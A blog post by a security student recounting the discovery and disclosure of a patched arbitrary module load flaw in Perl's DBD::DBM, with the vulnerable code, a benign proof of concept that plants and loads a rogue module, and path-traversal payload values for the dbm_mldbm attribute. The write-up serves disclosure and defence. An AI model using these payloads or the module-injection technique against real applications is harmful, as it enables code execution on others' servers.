September 11, 2026
The Vulnerability That Was Hiding In Three Places At Once
The story of CVE-2026โ78030, an arbitrary module load bug in DBD::DBM

By Harsh Raj Singhania
10 min read
The story of CVE-2026โ78030, an arbitrary module load bug in DBD::DBM
A few weeks ago I wrote about finding my first CVE by accident, while reading through two older fixes in a Perl module called DBI just because the bug looked interesting. I didn't go looking for it. It found me while I was reading someone else's work closely enough to notice something they'd missed.
This one is different. Once CVE-2026โ73194 got confirmed and fixed, I didn't close the tab and move on. I stayed in the same repository and started reading it properly, on purpose, function by function, looking for anything else that had been sitting there unnoticed. That's how I found CVE-2026โ78030. And this time, it's not a crash. It's a way to make the program run code an attacker chose.
A Quick Reminder Of What DBI Is
If you didn't read the last post, here's the short version. DBI is the Database Interface module for Perl. It's the middle layer that sits between your Perl code and whatever database you're actually talking to, whether that's MySQL, Postgres, or something else. Your code talks to DBI, and DBI talks to the database.
DBI doesn't work alone, though. For each type of database it supports, there's a smaller companion module called a driver, and the driver name always starts with DBD, short for Database Driver. DBD::mysql talks to MySQL. DBD::Pg talks to Postgres. And the one this post is about, DBD::DBM, talks to a much older and much simpler kind of storage called a dbm file. Think of it as a basic key-value store that's been part of Perl's world since long before anyone here was writing code, still used today because it's small, dependency free, and it just works.
What dbm_type And dbm_mldbm Actually Do
When you connect to a database through DBI, you pass it a connection string along with a set of attributes, little settings that tell the driver how to behave. DBD::DBM has two attributes that matter a lot here.
The first is dbm_type. Since there isn't just one kind of dbm file format, dbm_type tells DBD::DBM which specific backend module to use underneath, something like NDBM_File or DB_File.
The second is dbm_mldbm. Sometimes you want to store something more complex than plain text or numbers in a dbm file, like a whole data structure. MLDBM is the layer that makes that possible, and dbm_mldbm tells it which serializer to use to turn your data into bytes and back, things like Storable or JSON.
Both of these attributes exist for a completely reasonable reason. The problem is what DBD::DBM does with the value you give it.
The Promise The Code Was Making
Here's the assumption sitting underneath this whole bug, and once you see it, the rest makes sense.
DBD::DBM checks whether dbm_type and dbm_mldbm are attributes it recognizes by name. It has a small internal list, and if the attribute you're setting is on that list, it gets accepted.
my %dbm_valid_attrs = (
dbm_type => 1,
dbm_mldbm => 1,
...
);my %dbm_valid_attrs = (
dbm_type => 1,
dbm_mldbm => 1,
...
);That check only answers one question: is this a real attribute name. It says nothing at all about what value you're allowed to put inside it. The code checks the label on the box, never what's inside it. And whatever you put inside gets carried all the way through to a line of code that loads and runs a Perl module by name.
Three Places The Same Mistake Was Made
This is what makes CVE-2026โ78030 different from the last one. Last time it was one function, one line, one path. This time the same assumption, that the value is safe just because the name is recognized, shows up in three separate places in the same file.
The first spot is the most direct one. Here's roughly what it looks like:
my $tie_type = $meta->{dbm_type};
$INC{"$tie_type.pm"} or require "$tie_type.pm";my $tie_type = $meta->{dbm_type};
$INC{"$tie_type.pm"} or require "$tie_type.pm";Whatever string you put into dbm_type gets tacked onto .pm and handed straight to require, Perl's built in command for loading a module. If you set dbm_type to NDBM_File, it loads NDBM_File, exactly as intended. If you set it to the name of a module you control, it loads that instead, and runs whatever code sits at the top of that file the moment it loads.
The second spot looks like it has a safety net, but the net has a hole in it.
my $ser_class = "MLDBM::Serializer::" . $meta->{dbm_mldbm};
my $ser_mod = $ser_class;
$ser_mod =~ s|::|/|g;
$ser_mod .= ".pm";
require $ser_mod;my $ser_class = "MLDBM::Serializer::" . $meta->{dbm_mldbm};
my $ser_mod = $ser_class;
$ser_mod =~ s|::|/|g;
$ser_mod .= ".pm";
require $ser_mod;The idea here is to box you in. Whatever you type gets glued behind MLDBM::Serializer::, so on the surface it looks like you can only ever load something that lives inside that folder. But look closely at that middle line. It only rewrites the double-colon :: into a slash. It does nothing about an actual slash character if you put one in yourself. So if your dbm_mldbm value is something like ../../../../tmp/evil_serializer, that slash sails straight through the substitution untouched, and the path it builds walks itself right back out of the folder it was supposed to be locked inside. The wall was only ever built to stop one specific character pattern, not the character itself.
The third spot is the one I almost skipped past, because it doesn't look like a loading bug at first glance.
$MLDBM::Serializer = $meta->{dbm_mldbm};$MLDBM::Serializer = $meta->{dbm_mldbm};Your raw value gets stored directly into a variable that MLDBM itself checks every single time it needs to load or save something from the table, not once at connection time, but on every read and every write. It's the same underlying problem as the first two spots, just reached from a completely different angle, and triggered far more often.
Three doors. Same lock missing on all three.
Proving It Against The Actual Code
Same rule I followed last time: test the real thing, not a version you rewrote yourself from memory, because a rewrite can accidentally fix the exact bug you're trying to prove exists. So instead of describing this bug in the abstract, let me actually walk you through the proof of concept, piece by piece, so you can see exactly what happens under the hood.
Step one: build something that proves it was loaded
The first problem when you're proving a bug like this is that a normal, well-behaved Perl module doesn't announce itself. If require loads it successfully, you'd never know anything happened at all. So the first thing the proof of concept does is create a rogue module whose entire purpose is to leave evidence behind the moment it loads:
my $tmpdir = tempdir(CLEANUP => 1);
make_path("$tmpdir/Rogue");
my $sentinel_file = "$tmpdir/rogue_loaded.txt";
open my $fh, '>', "$tmpdir/Rogue/Module.pm" or die $!;
print $fh <<"EVIL_MODULE";
package Rogue::Module;
open(my \$fh, '>', '$sentinel_file') or die "cannot write sentinel: \$!";
print \$fh "LOADED by PID \$\$ at " . scalar(localtime) . "\\n";
close \$fh;
warn "[Rogue::Module] load-time code executed!\\n";
1;
EVIL_MODULE
close $fh;my $tmpdir = tempdir(CLEANUP => 1);
make_path("$tmpdir/Rogue");
my $sentinel_file = "$tmpdir/rogue_loaded.txt";
open my $fh, '>', "$tmpdir/Rogue/Module.pm" or die $!;
print $fh <<"EVIL_MODULE";
package Rogue::Module;
open(my \$fh, '>', '$sentinel_file') or die "cannot write sentinel: \$!";
print \$fh "LOADED by PID \$\$ at " . scalar(localtime) . "\\n";
close \$fh;
warn "[Rogue::Module] load-time code executed!\\n";
1;
EVIL_MODULE
close $fh;Nothing complicated here. This just writes an actual .pm file to disk called Rogue/Module.pm, and the only thing that file does is write a timestamp and its own process ID into a separate marker file the instant it gets loaded. Think of it as a doorbell camera for code execution. If that marker file shows up, something ran code it wasn't supposed to be able to run.
In a real attack, this is the part that would get swapped out. Instead of writing a timestamp to a file, this is exactly where you'd put system($cmd) or anything else you wanted the server to execute.
Step two: get the rogue module somewhere Perl will actually find it
require doesn't search your whole filesystem. It only looks inside a list of folders Perl already knows about, called @INC. So the proof of concept adds the temp folder holding the rogue module onto the front of that list:
unshift @INC, $tmpdir;unshift @INC, $tmpdir;This single line is doing the job that, in a real attack, something like a PERL5LIB environment variable, a misconfigured shared library path, or an already-writable temp directory would normally do. It's not part of the vulnerability itself. It just recreates the ordinary condition an attacker would already have in a real environment.
Step three: fire the exact line DBD::DBM fires
Here's the part that actually matters, because this line is not a rewrite or a simplification. It's the same construction, doing the same thing, that sits inside DBD::DBM itself:
my $attacker_value = "Rogue::Module";
my $require_target = $attacker_value; # no sanitisation
eval { require "Rogue/Module.pm" };my $attacker_value = "Rogue::Module";
my $require_target = $attacker_value; # no sanitisation
eval { require "Rogue/Module.pm" };$attacker_value stands in for whatever you'd put into the dbm_type connection attribute. There is no check anywhere between that value and the require call. It goes in as a plain string and comes out the other side as a command to load and run a file.
What actually came back when it ran
[Rogue::Module] load-time code executed!
*** CONFIRMED: load-time code ran! Sentinel content:
LOADED by PID 551 at Thu Aug 20 18:13:55 2026[Rogue::Module] load-time code executed!
*** CONFIRMED: load-time code ran! Sentinel content:
LOADED by PID 551 at Thu Aug 20 18:13:55 2026That marker file existing is the whole proof. The rogue module's code ran, on its own, the moment require touched it, purely because of the string that got handed to dbm_type. Nothing about this required tricking DBI into doing something it wasn't designed to do. require did exactly what require is supposed to do. The only mistake was letting an outside value decide what gets required in the first place.
The second door, shown the same way
The same script also walks through the dbm_mldbm path, building the exact same string DBD::DBM would build internally:
my @mldbm_payloads = (
"Storable",
"JSON",
"../../../../tmp/evil_serializer",
"Evil::Deserializer",
);
for my $v (@mldbm_payloads) {
my $ser_class = "MLDBM::Serializer::" . $v;
(my $ser_mod = $ser_class) =~ s|::|/|g;
$ser_mod .= ".pm";
printf "dbm_mldbm='%s'\n => require '%s'\n\n", $v, $ser_mod;
}my @mldbm_payloads = (
"Storable",
"JSON",
"../../../../tmp/evil_serializer",
"Evil::Deserializer",
);
for my $v (@mldbm_payloads) {
my $ser_class = "MLDBM::Serializer::" . $v;
(my $ser_mod = $ser_class) =~ s|::|/|g;
$ser_mod .= ".pm";
printf "dbm_mldbm='%s'\n => require '%s'\n\n", $v, $ser_mod;
}Running that over the traversal value produces this:
dbm_mldbm='../../../../tmp/evil_serializer'
=> require 'MLDBM/Serializer/../../../../tmp/evil_serializer.pm'dbm_mldbm='../../../../tmp/evil_serializer'
=> require 'MLDBM/Serializer/../../../../tmp/evil_serializer.pm'You can see the MLDBM::Serializer:: prefix sitting right there at the front, exactly as it's supposed to, and then the ../../../../ walking straight back out of it. The code isn't tricked into producing this string. It builds it correctly, following its own rules, using a value nobody checked first.
Why I didn't build a third proof of concept
I didn't build a separate one for the third door, the one that assigns straight into $MLDBM::Serializer on every table read and write. I don't think it needed its own script. Steps one through three above already prove that an attacker-controlled string reaching a bare require in this codebase results in real code execution. The third door hands the exact same kind of string to the exact same underlying mechanism, just from a different variable, and more often. Once you've shown the lock is missing on the front door, you don't need to pick it again to know the side door works the same way.
Where This Actually Becomes Dangerous
I want to be specific about when this matters, rather than making it sound scarier than it is.
This isn't a bug that lets a random stranger on the internet break into any Perl program that happens to use DBI. It matters wherever an application lets a less trusted source influence dbm_type or dbm_mldbm, and that's a narrower but very real situation. Think of a multi-tenant application that builds part of its database connection string from something a user submits, or a config value inherited from a lower trust tier, or attributes relayed through DBI's Gofer proxy setup from a client. Anywhere one of those two values can be nudged by someone other than the developer, this becomes a real path to code execution, not a hypothetical one.
Why This One Rates Higher Than The Last
The bug from my last post was a memory safety issue, a heap out of bounds write. Serious, but bounded. It could crash a program, and in the worst case it might be pushed further with real effort, but I was honest last time about not knowing exactly how far.
This one is a different category entirely. GitHub's advisory classifies it under CWE-470, Use of Externally Controlled Input to Select Classes or Code. In plain terms, that means the program lets an outside party decide what code actually runs, not just what data gets processed. That's why this one is rated High rather than a narrower memory safety bug. There's no memory corruption gymnastics required here. If you control the value, you control what module loads, and whatever sits inside that module's top level runs immediately.
The Maintainer
I reported this the same way as last time, full writeup, working proof of concept, straight to DBI's maintainer. This one was handled by robrwo, and same as with the last report, there was no pushback, no defensiveness about a hole being found in code that's been trusted for years. It just got fixed. The patch landed in DBI 1.653.
I keep noticing this pattern with the DBI maintainers, and I think it's worth saying out loud again. A codebase that's been stable for decades isn't the same thing as a codebase that's been checked recently. The people maintaining it here have been consistently open to hearing that, and that matters more than people give it credit for.
What This Means If You Use DBD::DBM
If your application uses DBD::DBM and either dbm_type or dbm_mldbm can be influenced by anything other than a value you hardcoded yourself, that's worth checking today, not eventually. Upgrade to DBI 1.653 or later, where both attributes are now checked against a list of known-safe values before anything gets loaded. If you can't upgrade right away, don't pass either attribute through from user input, config inherited from a less trusted layer, or anything relayed from a client connection. Hardcode them, or check them yourself against a small allow-list before they ever reach DBI.
There's More In This Repo, Just Not Yet
I'll say this honestly rather than staying quiet about it. This wasn't the only thing I found while auditing this repository after my first CVE. There's more sitting in triage right now that I can't talk about yet, because it hasn't gone through public disclosure. When it does, I'll write about it the same way I've written about these two.
Coming Back To The Point Of All This
The first bug found me. I was reading someone else's fix out of curiosity, and something didn't add up. This one I found because I went back into the same file on purpose, after already knowing it had held one mistake that nobody caught for years.
That's really the whole lesson from both posts put together. One bug in a piece of code isn't proof that it's been fixed. It's proof that nobody was looking closely enough, and there's a decent chance they still aren't. If you're auditing something and you find one real issue, don't assume you got the only one. Go back and read the rest of the file like you expect there to be another one waiting in it. Sometimes there is.
I'm a second year cybersecurity student, and this is my second confirmed CVE. There's more from this same audit that I'm not able to talk about yet, but it's coming. If you spot something I got wrong here, or you're working through a similar audit yourself, find me in the comments.
References
- GitHub Security Advisory GHSA-wqmw-wqwx-3fr7, the disclosure for CVE-2026โ78030: https://github.com/perl5-dbi/dbi/security/advisories/GHSA-wqmw-wqwx-3fr7
- DBI 1.653 release, containing the fix: https://metacpan.org/release/HMBRAND/DBI-1.653
- My previous post on CVE-2026โ73194, the first bug I found in this same repository: https://medium.com/@harshrajsinghania/i-found-my-first-cve-by-trying-to-understand-someone-elses-bug-the-story-of-cve-2026-73194-1702f8bde5c1
- perl5-dbi/dbi source repository on GitHub: https://github.com/perl5-dbi/dbi